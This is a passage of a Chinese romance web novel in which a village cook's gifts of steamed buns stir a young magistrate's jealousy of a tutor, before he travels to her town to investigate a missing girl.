赵友成眼巴巴的看着谢临安吃了一个肉包子,就着宫里御赐的茶叶,像是品尝什么奇珍美味一般,甚至眼角都漾着笑意。 赵友成撇撇嘴,拉过松石小声嘀咕:“哎,你们郎君深陷其中无法自拔了,你懂的。” 不懂,一点都不想懂。 松石焦虑到手指抠着大腿,琢磨着怎么才能让郎君不喜欢那位卢娘子。 再不阻止就来不及了。 她那等身份,如何配得上郎君? …… “配菜的,快点,大厨要用葱丝!” “哎,你让开,快快,今日晌午人多!” 后厨忙的热火朝天,各种菜香混合在一起,卢石头已经咽了好几次口水了。 “阿姐,我觉得在酒楼做工真好,有钱拿还供饭!” 吃的当然不是大厨炒给客人的菜,而是那些备菜剩下的东西,由小工练手做出来给他们吃。由于调料丰富锅气足,哪怕是素菜吃起来也有滋有味。 卢石头饭量大,这些日子手头紧他都不敢多吃也没怎么吃饱,到了这里后饭菜管够,就算没菜了就着咸菜也能多吃一碗饭,越来越喜欢这,想着如果回去不念书,找个饭馆做工就好了。 阿雪忙着摘菜,没察觉出他的小心思,笑着道:“你就这点出息。” 卢石头嘿嘿笑,姐弟俩一天的工钱加起来七十文,东家还另外给三十文,说是看他们做活认真,且石头力大无穷,所有的累活都能干,一个顶两个,这点钱花的值。 当然了,酒楼东家也不做赔本的买卖,给卢家姐弟的钱,全是来自谢临安之手,但阿雪不知道,只觉得东家厚道,打消之前对城里人的偏见。 忙活了一天,阿雪临走前借用厨房蒸了两锅包子。她手艺好,蒸出来的包子各个饱满暄软,拿回去给爹娘吃。 “阿姐,娘最喜欢吃你做的东西了。” 在卢石头的记忆里,不管阿雪做馒头也好包子也罢,焦红杏总是笑盈盈地夸奖她,而自己不同了,大多时候被亲娘数落。数落就数落,反正是自己亲娘,还能借光多吃好的。 这些日子过的清淡,阿雪便萌生了借用厨房做饭的心思,总比在客栈借用来的方便。本以为东家会不同意,没想到他笑呵呵的应了,还说厨房的菜随便用。 阿雪不是那等占便宜之人,她索性合算了价钱要给钱,东家拗不过她,便说不收钱,做什么菜式时候多做一份便是。 另外一锅上也有两屉,阿雪姐弟走后时辰也晚了,东家王财富来查账,忘记之前说的事情了,皱眉问道:“灶上怎么没熄火?” 酒楼伙计立刻回答道:“是卢娘子留的包子,一屉肉馅一屉素馅。” 王财富想起来了,随意道:“行,你们分着吃了吧,吃完把厨房收拾好就回去睡觉。” “哎,谢谢东家!” 方才阿雪做的时候他们就闻到浓香,心想材料也不出奇,怎么经过她的手一弄如此香气四溢。 等王财富前脚刚走,厨房里的人就已经按捺不住去掀开盖子,顾不上烫手,一人一个,拿在手里迫不及待去咬,却因为热气下不去嘴。 “你们学我这样,先撕开让热气散出来。”小伙计年岁小鬼点子多,撕开后过了片刻就大口吃起来。 “真好吃啊,卢娘子手艺这么好。” 其他人也赞不绝口。 “是吗?我尝尝。” 不知何时,王财富去而复返,几个伙计连忙看座,他吃东西就斯文许多了,拿着筷子吃。 包子皮暄软不厚重,里面被馅料的汁水浸透,底部微微透着油亮,没吃到馅就已经让王财富惊艳,待一个吃完竟有些意犹未尽。 舔了舔嘴边的残留,王财富扫向灶台,懂事的伙计立刻全部取来,王财富又吃了一个素馅的。用的是豆干和野菜,意外的是也很美味,竟然不输肉包子。 开酒楼多年的王财富算是见多识广,面上不显,把剩下的包子打包带走了。 …… 酒楼营业到很晚,白天快晌午时候才开门,因此阿雪姐弟不用起来太早。她打着哈欠收拾自己,打算去给焦红杏熬药,刚推开门往外走,就瞧见柜台前站着一个人,正和客栈掌柜打听。 “对,姓卢。” “严夫子?” 严为之回过头,在看见阿雪的一刹那笑容满面,迫不及待地朝她走过来。 “阿雪,原来你在这。” 见到熟人阿雪自然也是高兴的,俩人站在门口说话。卢石头听见动静探头出来,在看见严为之时,卢石头一脸见鬼的表情,脊背发凉,立刻缩头回去。 要命了,严夫子不会是抓他回去读书吧? 严为之背着一个布袋子风尘仆仆,卢大富和焦红杏热情招待,坐在一起叙家常。 “这几日学堂休息,正好进城来寻几本要用的书籍。” 严为之谈吐斯文,焦红杏横看竖看,越看越满意,还悄悄在桌下踩卢大富的脚。 卢大富会意,便多和严为之说话,不过他乃猎户粗人,绞尽脑汁也只会说些无关痛痒的话题,幸而严为之细心答话,一来一往,瞧着还挺热闹。 阿雪这时候站起来,道:“我要去上工了,严夫子,你一会吃口东西再走。” 严为之眼带不舍,突然想起什么,立刻打开包裹道:“阿雪先留步,莲花托我给你们带了东西。” 是个小包裹,不知道里面是什么。 阿雪打开一看,里面是肉干和菜干,最里面还有个沉甸甸的荷包,竟然有十多个铜板。 阿雪顿感心热,念叨着:“还是莲花最关心我。” 多日未归,莲花觉得可能出什么事情了,因此尽一份绵薄之力,让严为之帮忙带过来。 晌午时候,严为之寻到酒楼,说是他要在城里住上两日,后日清晨再走。 俩人站在酒楼后门处说了会儿话。 “你是说,那个姓严的也来了。” “是,看的一清二楚,卢娘子似乎心情不错一直在笑。”松石实话实说,最后没忍住说了句,“郎君,他们二人关系匪浅。” 说完觑着谢临安的脸色,但令人失望的是谢临安并无任何反应。 “东西送到了?” 那日装包子的食盒是阿雪在酒楼借用的,叮嘱过松石用完还回来。 “送到了。” 阿雪还问松石,“合你们郎君胃口吗?” “她可曾说了什么?” 松石犹豫片刻,垂头道:“卢娘子什么都没说。” …… 过了晌午,宿醉的赵友成才起来。 “无所事事的日子可真好啊。” 书房里,谢临安处理好公务后正在看书,赵友成在屋里走来走去,脚步踢踏声扰人。 “请你安静。”他淡声提醒。 赵友成笑嘻嘻:“从我进来开始就发现你心不在焉,怎么了,又和那位卢娘子有关?” 谢临安不置可否。 “枉你顶着天之骄子的名号,聪慧如狐狸的谢临安也会吃瘪?还是在一个娇弱小娘子身上?” 这话多少带了嘲讽之意,赵友成暗自觉得解气,笑容就没断过:“谢临安啊谢临安,你也有今天,哈哈哈哈,走走,带我去找那位卢娘子,我要当面谢谢她。” 赵友成就是随口一说,他谢临安谪仙一般的人物,就算喜欢那位卢娘子也不会表现出来,更不会屈尊降贵去探望她。 “走。” 谁料谢临安合上书站起身,说了这么一句。 跟着走出门的赵友成暗暗掐了自己一下,疼!这不是梦? 先回住处换了官服,乘坐马车前往酒楼。路上赵友成目光炯炯,不错眼珠地看对面的谢临安。 只是他闭目养神,看不出什么。 “郎君,赵郎君,到了。”外面松石停稳了马车撩开帘子,赵友成一马当先跳了下去。 “酒楼?不是找卢娘子吗?” “在那。”松石突然出声,指着不远处酒楼门口。 有两道人影站的极近。 谢临安下车的动作顿住。 他能清楚看见阿雪手里有个食盒,正言笑晏晏递给对面的严为之。 与给他送包子的食盒,一模一样。 她不止送他,还送了别人。 第25章 第25章 初夏时节万物萌生,连人的心似乎都跟着跳动越发快速。 严为之满面红光,拿着阿雪给的食盒,本想借此机会多同阿雪呆一会,不想她却急着道:“厨房还有事让我帮忙,那我先进去啦。” 严为之嘴巴张大,想要再说些什么,但显然阿雪没看出来,笑了笑便转身回去了,留下愣在那的严为之,当真像是痴男怨女一般。 直到阿雪的身影彻底消失不见,严为之才一脸的怅然若失,转身离开。 不过他一步三回头,恨不得转头时能瞧见那张美人面。 又一次回头时身后冷不丁出现个男人,严为之没防备被吓了一跳,手中的食盒脱落,当啷一声掉在地上,里面皮薄馅大的包子滚了一地。 那人似乎正要迈步,抬脚之时差点踩在包子上。严为之赶忙蹲下先护住食盒,随后抬头道歉:“对不起。” 男人什么都没说,跨过滚落尘土的包子离开。 与落魄至极的严为之相比,潇洒离开的谢临安泰然处之,如果不是赵友成亲眼看见,甚至都不会相信,堂堂侯府世子、新科探花郎、地方父母官竟然会做出如此小儿科的事情,故意站在那人身后吓唬他。 赵友成沉思片刻,明白谢临安在想什么了。 这时候,谢临安已经返回马车上,“松石,回府。” “你方才就是想验证那人的食盒里是不是卢娘子做的包子,对不对?” 谢临安闭目养神,明显不想答话,赵友成便坐在那自说自话,笑嘻嘻道:“谢临安啊谢临安,没想到你也有今天。” 出生起便是天之骄子,却不想被一个乡村小娘子给戏耍了。 赵友成想,方才那个郎君瞧着文质彬彬像是书生,想到这,他眼神直勾勾地盯着谢临安。 被盯的时间久了,谢临安睁开眼睛,清冷的眸子扫过赵友成。 “看什么?” “啧!”赵友成说话丝毫不客气,“我发现了一件事。” 说完等着谢临安问,可显然对方没有兴趣。 赵友成只得自说自话道:“难道你没发现,那个人身上有书生气吗?而临安你就更不用说了,书海里泡大的郎君,你们二人之间还真有相似之处。” 谢临安斜过来一眼,赵友成立刻找补:“没有没有,我的意思是,那人不敌临安万分之一,顶多是照猫画虎罢了,不对,东施效颦!他不过是仗着自己有一分姿色和书生气来勾那卢娘子。” 谢临安垂着眸子,赵友成看不出他在想什么,但肯定是不高兴的。 在京城里谢临安可是闺中之梦,那些高门大户之女如一窝蜂似的往他身上扑,可谢临安看都不看一眼,却栽在了卢娘子身上。 这也便罢了,可谁能想到,那位卢娘子是个高手,广撒网啊! 经此一事,恐怕谢临安不会再理她了。 但那是赵友成的想法。 晚上赵友成出去喝酒顺道叫坐在院子里的谢临安,但他没去。待天色擦黑之后,谢临安起身,松石上前:“郎君,热水备好了,现在沐浴吗?” “不,先出去一趟。” …… 这些日子焦红杏身体大好面带红光,阿雪觉得城里的大夫就是比镇长赤脚大夫厉害。 “再有不到十天就要回家了。” 下工结束后的卢家姐弟拎着酒楼给的剩饭剩菜。其实就是备菜太多没卖完,放到第二天会烂掉,东家王财富让他们拎回去吃算了。 阿雪分得一条油炸小河鱼,不大,拿回去给卢大富下酒正好。 “啊?这么快吗?”卢石头在酒楼如鱼得水乐不思蜀,还真没注意时间。 他明显蔫了,“这么快啊。” 那岂不是又要回去读书了?烦! 阿雪道:“对啊,回家之后我的铺子要赶紧开业,你也要把落下的学业补上。对了,严夫子说了,到时候天天来铺子里帮忙给你找补,保管你和其他同窗的进度一样。” 卢石头目瞪口呆面如死灰。 “那我还得谢谢他?” “确实要谢谢人家,还帮忙带东西呢。”俩人说着话往客栈的方向走。 城里就是比小地方来的繁华热闹,这个时辰了街道上百姓依旧不少,道路两旁的商铺都挂着灯笼,烛火通明,恍若白昼。 因此,阿雪一眼就瞧见前方路口那道熟悉的人影。 他着一身玄色衣袍,身材颀长负手而立,英姿俊逸气度不凡。 “郎君!” 好几日没见,再见他不免心情激动,阿雪如同一只翩飞的蝴蝶向他飞过去,自己都没意识到心情舒畅,见到谢临安笑容就没断过。 “你怎么在这呀?” 小娘子笑眼盈盈,一双圆眸弯弯,一派天真娇憨的模样。 或许,事情并不是他所想那样。 谢临安嗯了一声,道:“路过,刚下工?” “是啊,对了,那天的包子好吃吗?” 阿雪随口一问,谢临安沉默片刻,反问道:“怎么想起做包子了?” “因为你喜欢吃,就想着我好不容易来一次城里,正好做两屉给你尝尝,还想吃吗?想吃明日我再做,你叫松石来取。” 站在暗处的松石冷着脸。 都被郎君堵现行了,还敢用这招?当真是无耻。 “我送你回去。” 卢石头插不上话,也不敢同谢临安说话,便和松石默默跟在俩人身后。 月光如水,洒在年轻男女身上,地上映出二人的身影,尽显般配。 阿雪很兴奋,嘴巴就没停过,一直和谢临安说话,分享近日发生的趣事。 “……然后婶子说,哎呀,那不是长虫,那就是一截树枝啊!”阿雪边说边笑,“也不知道是什么树枝,上面的花纹当真像是蛇一般,所有人都被吓到,没敢往后院柴垛子去。” 从酒楼东家王财富到洒扫的婆子,全出现在阿雪的嘴里,但唯独没提严为之。 她在说在笑,他偶尔嗯一声,阿雪没察觉出谢临安情绪不对,等走到客栈前,她惊讶:“怎么这么快就到了。” 往日里要和石头走很久才是。 让卢石头拎着饭菜进去,阿雪站在那和谢临安道别,还提到:“我要是给你写信,你能不能回我一次呢?我还没收过别人的信呢。” 当然,也没给别人写过,谢临安是第一个。 谢临安没说不好也没说好,站定之后反问她:“最近还有什么有趣的事吗?” 认真思考之后,阿雪摇头:“没了,我都和你说了。” 面若冠玉的郎君眼睛形状温柔,好像看人的眼神也温柔似水。平静的水面之后是探寻的意味,面前单纯善良的小娘子丝毫未察觉。 “对了,你喜欢肉馅还是素馅,我明天倒出时间就能做包子的。” “只给我做?” “当然!” 阿雪回答的干脆利落,丝毫没有迟疑,谢临安却又接着问:“旁人没有?” 不远处的松石拧眉。 郎君……怎么像是变了个人似的。 这边,阿雪立刻点头,“当然没有,你是不够吃吗?这样,我多做一些,你下午叫松石来取。” 谢临安神色淡淡。 阿雪察觉出他情绪变化,不太明白他怎么了。 …… 翌日,做好包子的阿雪等着松石,但左等右等都不见人来。 一直到日落西山。 此时的松石过来请示道:“郎君,可要去酒楼取包子。” “不必。” 给过她说实话的机会,既然她依旧骗人,那便没有继续的必要。 眼看着就快离开这里,阿雪再也没见过谢临安。 她觉得奇怪为何松石没来取包子,但转念一想,或许是衙署有事要忙吧。 还有三天就要回家,卢大富又请大夫过来诊脉,那大夫诊脉结束后点点头:“调理不错,身子骨明显比之前还要硬朗,看来没少喝补汤啊。” 卢大富瓮声瓮气:“没有补汤,就吃了点山参什么的。” 大夫知道他是猎户,以为是卢大富自己挖来的野山参或者人参,那可是好东西,效果好也正常。 焦红杏说自己没事了,卢大富不放心,又让大夫开了一些滋补的汤药,打算回家熬给她喝。 在城里这些日子一家倒是没添置什么东西,临出发的前一天阿雪和石头就辞了工,酒楼东家王财富又额外给了一个红封,阿雪推辞说不要,王财富笑呵呵:“收下吧,就当是我买你方子的钱。” 阿雪做得一手好面食,王财富私下里找过她,希望她留在酒楼做长期工,但阿雪家不在这肯定是要走的,她没藏私,就把过程告诉了其他师傅,包教包会。 如果对方是心思玲珑之人,王财富自然有一百种方法对付。但偏偏是个没什么心眼的小娘子,姐弟俩又都踏实肯干,且和大人物有牵扯,因此王财富存了结交的心思,自己掏腰包给了红封表示感谢。 手里银钱多了,阿雪就带着石头去采买东西,毕竟小镇没有城里样式多,还要给莲花带点好东西。 去布庄时候,阿雪在那匹天青色布料前停驻良久。 “当真不能再便宜了?” “小娘子,这可是今年最新料子,你摸摸,清凉透气,做成衣袍穿肯定漂亮,京城里的郎君们都穿这种料子!” 阿雪咬咬牙:“好,那给我裁一身。” 卢石头凑脑袋过来:“阿姐,我不喜欢这个颜色。” 阿雪瞪他:“谁说是给你的。” 第26章 第26章 裁好的布料交给松石,连带着阿雪的信。 可惜,直到走那日,阿雪也没再见谢临安一面,更未收到他的回信。 出了城门阿雪频频回头,卢石头还以为她掉了东西,作势就要下车去捡。 “没有,老实坐着。” 卢石头挠头,觉得这几天阿姐心情阴晴不定,他可不能惹着她。 因着焦红杏身体还算不错,所以赶路就快了一些,第四天晌午时候到家。 阿雪换了身衣服就要往外走,焦红杏喊人:“铺子不着急这一时半会的,今日在家歇歇。” “娘,我不累,我就是过去看看打扫一番,今日不开门。” 顺道去看看莲花,把从城里带来的东西给她。 俩人手帕交情谊深重,阿雪给她带了城里的胭脂,虽然不贵,可是小地方没有的好玩意。除此之外还有城里绣房的帕子,阿雪咬咬牙买了一件。 莲花高兴的面色涨红,“好新奇的样式,原来城里用的帕子如此精致啊。” 两样礼物都深得莲花心,姐妹俩坐下说了好一会话,莲花娘笑着道:“你跟着阿雪去铺子忙活忙活。” “我刚要说呢,娘,那我先和阿雪去了,帮着打扫铺子,她明日要开门呢。” 一路走回铺子,不少相熟之人打招呼,关切焦红杏的身体,阿雪笑盈盈一一作答。一个月没回来,屋里全是灰尘,阿雪弄了布巾和莲花一人一个捂住口鼻,开始收拾擦拭。 铺子不大,收拾的很快,一刻钟之后俩人就坐下休息,一人一碗附近铺子卖的红豆酒酿圆子。 “天儿真热了。”阿雪擦了把汗。 她生的白净,此时白里透红,眸中水光潋滟,夏日清风透过门,拂起她鬓边的碎发,莫名让她举手投足多了几分春夏清新之感。 莲花直勾勾盯着。 “阿雪,感觉你又变好看了。” 红豆汤是放在井水里冰过的,喝起来清凉爽口,阿雪满足地眯眼睛。 “是吗?”她摸了摸自己的脸,“没什么变化啊。” 莲花嘿嘿笑:“严为之去看你了?” “明知故问啊,你不是还让他帮忙带东西了吗?” 莲花凑过来,用胳膊肘怼她:“说说呗。” “说什么?” “榆木脑袋。” 莲花多少有点恨铁不成钢的意思,现在严为之都主动了,眼看着好事将近,对方是读书人心思多,阿雪如此单纯可不行啊。 到时候吃亏了怎么办。 于是莲花提醒道:“阿雪我跟你说,私下里说话可以,但别的不行。” 阿雪没听懂她说什么,但想来是为了她好吧,于是胡乱点头,继续吃红豆汤去了。 …… 回来五天了,半点谢临安的消息都没有。 阿雪晚上偷偷写了一封信寄出去,满怀期待地等着。 “五天之内肯定能回信的。”她掰着手指头算日子,可惜,并没有收到他的信。 “应该是公事太忙了没看见信,如果看见了,他肯定会回的。” “临安,衙署这么闲吗?” 赵友成在这里呆了一段时日,每天看谢临安上午办公,下午就坐在公事房里看杂书。 坐在窗户前,一派岁月静好的模样。 “老爷子说的对,你当真是沉稳,坐着看书能看两个时辰丝毫不动,佩服!” 赵友成说的是实话,他可坐不住,坐一会就像是凳子长钉子似的,火急火燎地站起来想出去玩。 “但凡你每天多坐一个时辰,都不至于屡次被打。” 国公爷就想让儿子考个功名,可惜赵友成对读书完全不感兴趣。 赵友成唇角抽搐。 “别提了,算算日子恐怕没几天就要到了,临安,你给我找个安全地方呆,莫要让老头子找到我。” “凭国公爷的能力,挖地三尺也能找到你。” “不成,”赵友成越想越害怕,“到时候非得扒我一层皮不成,你快帮我想想办法。” 谢临安不紧不慢地翻了一页书。 “出了衙署随便找个地方藏起来,别告诉任何人你的位置不就成了。” “那怎么行,不告诉别人也得告诉你啊。” 谢临安这话就是不想插手,赵友成急了,他来这就是为了拉谢临安下水,到时候老爷子看他的面子能网开一面,否则他怎么活! “临安,你快帮我想想办法。” 赵友成说什么也要缠着谢临安,但又不敢怎么样,简直是又怂又蔫坏。 松石摇摇头,心想他们郎君嘴上如此说,实际没将人往出赶就已经是在帮忙了。 正闹着,外面有人匆匆敲门,松石开门后王捕头面色严肃走了进来。 “大人,东山县有人失踪了。” “何时失踪的?年纪、性别,何地失踪?” “传来的消息说是两天前,是个年纪十五的小娘子,她家里人说出门洗衣服后就没回来,晚上家人去寻,只在河边找到洗衣盆,附近认识人家也都找了,但都没瞧见。” 赵友成插话:“不对啊,我记得前几天知府那边传了消息说是已经将犯人捉拿归案了,怎么又有人失踪?” 谢临安揉了揉额角:“备车,即刻出发。” “是!” “临安,你带我去吧。” 多呆几天,正好能躲开老爷子。 谢临安已经起身往住处去了,他没说话,赵友成哈哈笑:“你不说话就当默认了!” 不待谢临安回答就立刻跑自己房间开始收拾东西。 天色不早了,赵友成估摸着谢临安着急出发应该什么都不带,那自己便也不带,于是只带了两身衣服收个包裹,拎着就出来。 结果…… “后面两辆马车是做什么的?” 松石正指挥捕快们搬运箱子,“小心些,对对,放在这边,不能压,千万别压坏了。” 箱子安置好后松石才转头答话:“赵郎君,这两辆马车是放我家郎君的东西,请您移步第一辆马车,我家郎君一会就过来。” 赵友成无语。 他谢临安当真是一点没变啊。 人手多做事麻利,没到一炷香的时辰便出发了,等到出了城门漫山遍野翠绿之后,赵友成才反应过来一件事。 按照谢临安做事妥帖的性子,不可能只问了一句话就大动干戈的来查案,如果人家不是失踪只是离家出走呢?亦或者和家人吵架躲在哪里呢?他都觉得不妥的事情,谢临安更该知道。 但他并没有多问,反而是直接出发。 赵友成念叨着地名:“东山县。” 问本人肯定问不出什么,他索性撩开车帘子小声道:“松石,你们郎君去过东山县?” “去过。” 赵友成露出一个果然如此的表情。 “办案?还是游乐?” 松石:“办案。” 怎么松石的态度如此奇怪? 想了片刻,赵友成忽地灵光一闪:“送布料那个小娘子是东山县的?” “是。”松石答的不情不愿。 那一切就说的通了。 看似生了那小娘子的气,不收人家的布料也不看对方的信,甚至连人家回程归家都无动于衷不去送。 但这些天过去,气儿消了不少,借着机会自己找台阶下了。 “赵友成,请你注意言行。” 笑起来一脸猥琐,谢临安懒得抬头看他。 谢临安不咸不淡地说话,赵友成依旧笑嘻嘻,过会他脸上被扔了一本书,啪的一声。 车厢里总算安静下来。 …… “真的失踪了?” “真的,我娘还说不让我出门,让我告诉你一声天黑之后叫石头来接你。” “严夫子每天都来给石头补之前落下的课业,结束之后我和石头就回去了。” 莲花捂嘴笑:“严夫子对你真不错。” 阿雪觉得莫名其妙:“你是想说对石头不错吧?” “反正就是那个意思。” 阿雪心思没在这,她问莲花:“那户人家报官了吗?” “当然!听说早就报官了,估摸着官府的人快到了吧,也不知道那位俊美的县令爷会不会来。阿雪,阿雪?” “啊?” “你有没有在听我讲话。” “听见了。” 还听见她说官府的人快到了。 当天晚上回去,阿雪翻出来自己的漂亮衣服,挨个试了试,最后选定了几身这几日穿。 第27章 第27章 这次失踪的人就是东山镇底下小村落的村女,焦红杏知道后担忧不已,每天早上出门前耳提面命,告诉卢石头下学之后一定要去铺子接阿雪。 “知道了。”卢石头应声。 他倒是愿意去找阿姐帮着忙活,可十二分的不想做另外一件事。 当然与阿雪无关,是下学之后严夫子每天都跟着卢石头一起去铺子,美曰其名帮忙辅导落下的课业,实际上给他留劳烦课业,找机会和他阿姐搭话。 第一天时候卢石头眼神清澈;第二天面色发白;第三天…… 如今数不清是第几天了,每天下学收拾东西之时,卢石头都有一种英勇就义之感。 “石头,你等我片刻,我取样东西就来。” 说完,严为之急匆匆的走了,学堂里还有几个没回家的孩子们,等夫子不见了之后立刻哄堂大笑,阴阳怪气学着严为之:“石头,你等我片刻~” 哈哈哈哈哈哈。 孩子们笑作一团,大多是同情卢石头笑话严夫子,也有一小部分是嫉妒卢石头能开小灶。 比如一个叫赵甲的小少年。 他家里是东山县的富户,在这小小一方小镇里不说呼风唤雨,也算走到哪都是前呼后拥,就算在学堂里那些学生们也都各个围着他转,可唯独严为之对他不假辞色。 严为之对所有学生都是如此,赵甲无话可说。 可自从卢石头来了后,一切就都变了。 在课堂上严为之对卢石头多有照顾,时常提问他,下学之后竟然还要去给卢石头开小灶!卢石头蠢笨如石头,他凭什么? 卢石头心思单纯,哪里能听懂同窗化外之音?苦着脸道:“日子真不好过啊。” “不好过别过,”赵甲突然插话,语气不善道:“得了便宜还卖乖。” 体型魁梧的卢石头直起腰:“我得了啥便宜了?” 说什么呢,他怎么听不懂。 赵甲嘲讽道:“差点忘了,每次小考都是倒数第一,恐怕听不懂这句话的意思。” 说完赵甲笑的开怀,好像这样就赢了卢石头一般。 这句话卢石头听懂了,他道:“倒数又怎么了?你们学了几年?我才学多久,如果我真比你们考的好,也不怕爹娘将你们屁股打开花。” 卢石头心思单纯说话也直接,说完后也没意识到这句话得罪了不少人,直接拎着书袋走了。 “混蛋!”赵甲低声咒骂了一句。 当然没叫卢石头听见,否则按照卢石头的性子一定回来给他一拳。 现在的卢石头只想给自己一拳,最好是自己打晕一睡不起,这样就不用承受此刻的痛苦了。 “石头,专心致志方能做大事。” 旁边的严为之提醒之后,卢石头哦了一声缓过神,继续拿着毛笔与大字做斗争,同时严为之还要时不时的提点。 “手臂抬高,肩膀挺直,对。” 卢石头坐在那和严为之差不多,从后面看甚至比严为之还要壮实一圈。 阿雪想了想,捡出几个热乎的肉包子,又把之前买的一壶酸梅汤倒了两杯。 “严夫子,先歇歇,喝口水。这是刚出锅的包子,你尝尝。” 因为对方在给卢石头教学,阿雪认为严为之对他们有恩,所以格外热情。 她今日穿了一身漂亮衣裳,乌黑的发没像往日那般随意,而是精心收拾过,簪了一根朴素的木簪子。即便如此,也难掩风采,看的严为之愣许久。 “多谢阿雪。” “不客气,倒是我们麻烦你了。” 借着这会儿功夫,严为之站起来和阿雪说了会话,他有意往俩人身上引,但阿雪一心惦念卢石头的课业,俩人驴唇不对马嘴说了几句,严为之才讪讪地坐下,继续指导卢石头。 外面忽然有马车声由远及近,他们这等小地方街道上甚少见马车,严为之还在嘀咕时谁,就见阿雪已经冲了出去。 青梅色的衣裙随风飘扬,年华正好的小娘子神采奕奕,站在店铺门口翘首以盼。 片刻后,就见一辆看似朴素的乌盖马车出现在视野里,阿雪眼眸发亮灿若星辰,即便车帘只挑开一条缝隙也能看的清清楚楚。 “啧。” 车里的赵友成咂咂嘴,“临安,卢娘子在前头站着呢,估计是在等你。” 车里对面坐着闭目养神的谢临安,听见这话后一动不动,恍若老僧入定。 赵友成还在描述:“越来越近了,卢娘子在笑,她招手了!临安,我们停车?” “直接走。”谢临安声音淡淡。 外面的阿雪都看见赶车的松石了,连忙双手举起热情的招手,可松石只瞥了她一眼,直接赶车从她面前经过。 车帘开了缝隙,她正好瞧见俊美郎君的薄唇,紧紧抿着形成一条锋利的直线。 “郎君!”阿雪没忍住喊了一声,可惜车轮声掩住,她眼睁睁看着马车从面前离开。 应当是没听见吧,阿雪想。 “阿雪,你在叫谁?”严为之听见动静从铺子里走出来,只瞧见远去的马车。阿雪说没事,严为之便也没探究,不过他发现阿雪情绪低落,于是说了有趣的事情想逗她开心。 “哈哈哈哈。”卢石头笑哈哈,阿雪没有任何反应,严为之不由得有些挫败。 …… “卢娘子叫你了。”车里的赵友成提醒道。 闭目的谢临安终于睁开眼睛,不过面无表情,好像在听别人的事情。 “哎,你怎么如此地冷漠,这样岂不是伤了卢娘子的心?”赵友成故意逗趣,“男子汉大丈夫,莫要和她小娘子计较。” 这世上没有人能够感同身受,在赵友成看来不过是小事一桩,他谢临安勾勾手,就没有能拒绝他的小娘子。既然如此,那便当一桩风流韵事算了。 连日赶路赵友成面带疲惫,不过谢临安依旧是那副丰神俊朗的模样。 许是这半日不曾用水,他声音微哑,吐出一句:“我和她之间清清白白。” 赵友成面色微变。 他只是玩笑话罢了,就是为了逗逗谢临安。当朝男女大防没那么重,就算是有好感的年轻男女牵手也是常事,他们之间进展如何赵友成并不知晓,他瞧着谢临安对卢娘子格外不同,觉得应当是喜欢的。 现在谢临安却说,清清白白。 怎么个清清白白?就算对方对他只是利用亦或者什么别的,但谢临安当真是动心了。 赵友成叹了口气,“死要面子活受罪。” 谢临安:“你说什么” “我说,我们去哪?” 谢临安不说话,是车外的松石答话,道:“回赵郎君,我们直接去客栈。这等穷乡僻壤,只有一处客栈,环境一般还算干净,赵郎君莫要太高期望。” “能住就成,我不嫌弃。”赵友成跟着来就是为了避开他老爹,虽然最后有可能还是被找到这,但能避一天是一天啊。 虽然没用他赶车,可赵友成觉得自己光是坐在马车里颠簸就累的半死,到了客栈后倒头就睡,睡醒了已然黄昏时分,他起来去找谢临安,没想到隔壁出来几个捕快。 “你们郎君没休息?”赵友成问守在门口的松石。 “郎君方从失踪人口家里返回,还不曾休息。” 进屋之后,瞧见谢临安在揉着眉心,似乎有些烦躁之意。赵友成招呼松石去泡茶,“一眉春泡一壶,快去。” “就算你是石人也得休息吧?” “失踪案迫在眉睫,需尽快处理。”谢临安闭目养神,声音不紧不慢道:“早点找到人就少一分危险。” 那些失踪的孩童大多是被送去无子家中当养子,但失踪的女子下场都不大好,给人当媳妇算是好的,许多直接被送去花楼。花楼那等地方的姑娘各个听话,并不是因为他们没有反骨,而是日复一日的磋磨之下,所有的反骨都磨碎了。 赵友成一时无话,坐下后看着谢临安。 京城世家子弟各个都是风流倜傥,像谢临安年纪轻轻就是钦点探花郎的着实凤毛麟角,当时所有人都觉得谢临安像是一柄利剑,无比锋芒闯入朝野之中。 作为太子伴读,谢临安入朝堂之后将是太子的最大助力,一时间风头无量。 各大世家或是巴结或是警惕,总之,无人不识谢临安。 可谁都没想到,他最后竟然来到了穷乡僻壤之处当个小小县令。 或许就像是老爷子所说,谢临安有大智慧,这叫急流勇退。 茶水来了后二人对饮,赵友成咂咂嘴。“这里有何美食?” 松石答曰:“普普通通,不如城里。” 即使有所准备,但还是不免失望。赵友成叹了口气:“罢了,能有酒喝就成,下酒菜总不至于做的难吃。” 可惜赵友成估计错了,客栈里提供的餐食简直无法下咽,谢临安一口没动,拿着苦主口供在冥思苦想,手里的捕快全部派出去了,也不知今日是否会有结果。 翌日晌午,从失踪女子家中探查回来的谢临安,远远瞧见客栈门口站着一人。 松石也瞧见了,连忙道:“郎君,是卢娘子。” 去探现场赵友成没跟着,昨日他不知道去了哪里喝酒,深更半夜才被人送回来,谢临安出门时候他甚至还没醒。 阿雪敲了半天门不见谢临安应声便知道他出去了,刚要转身走隔壁房门打开,醉醺醺的赵友成睡眼惺忪。 “原来是你,他出门了。” 阿雪道谢后问:“郎君几时归?” 赵友成打了个哈欠捂住嘴,没叫自己太过失态。“他呀,做起事情来一丝不苟,不好说。小娘子不如先回去,晚上再来。” 阿雪嘴上应下,但想着莲花帮忙看着铺子,她不如再等等,若是等不到了,就等晚上再说。 站在客栈门口一刻钟左右,总算将人等回来。 阿雪腿有点麻,但挡不住脸上的笑意。“郎君,你回来了。” 跟在谢临安身后的松石悄悄看人,明明回来路上还因为案子紧绷着脸,在听见卢娘子说话后,眉心明显松散不少。 好似清风拂面,柳树抽芽,万物归春。 松石打了个激灵。 谢临安垂下眸子遮了眼里的神色,他并未多言,直接擦身而过抬脚进了客栈。阿雪未多想,尾随而入,在走到门口时候松石伸胳膊拦人。 “卢娘子止步。” “我要进去,和郎君有话说。” 松石侧头看向屋里,谢临安没有任何反应,正坐在椅子上闭目假寐。 看样子是不想会客。 “抱歉,我家郎君暂不会客。” 十六岁的小娘子眼神清朗透彻,并没听出话外之音,认真道:“我哪里是客,松石你不认识我了?郎君、郎君?” 她站在门口透过松石的胳膊,翘起脚尖往里探头,呼唤谢临安。 “放她进来。” 谢临安开口,松石只得不情不愿地松开手,阿雪身姿轻盈,像是只欢快的小山雀,扑棱着翅膀朝着谢临安飞过去。 “郎君,你有看到我给你写的信吗?我觉得你一定是没看到吧,也是,衙署里事务繁忙,肯定顾不上的。对了,这次的案子有进展了吗?我听人说是年轻小娘子不见了。” 才不到十日而已,但感觉像是许久不见似的。阿雪突然想起来听石头念叨的一句话,叫“一日不见,如隔三秋。” 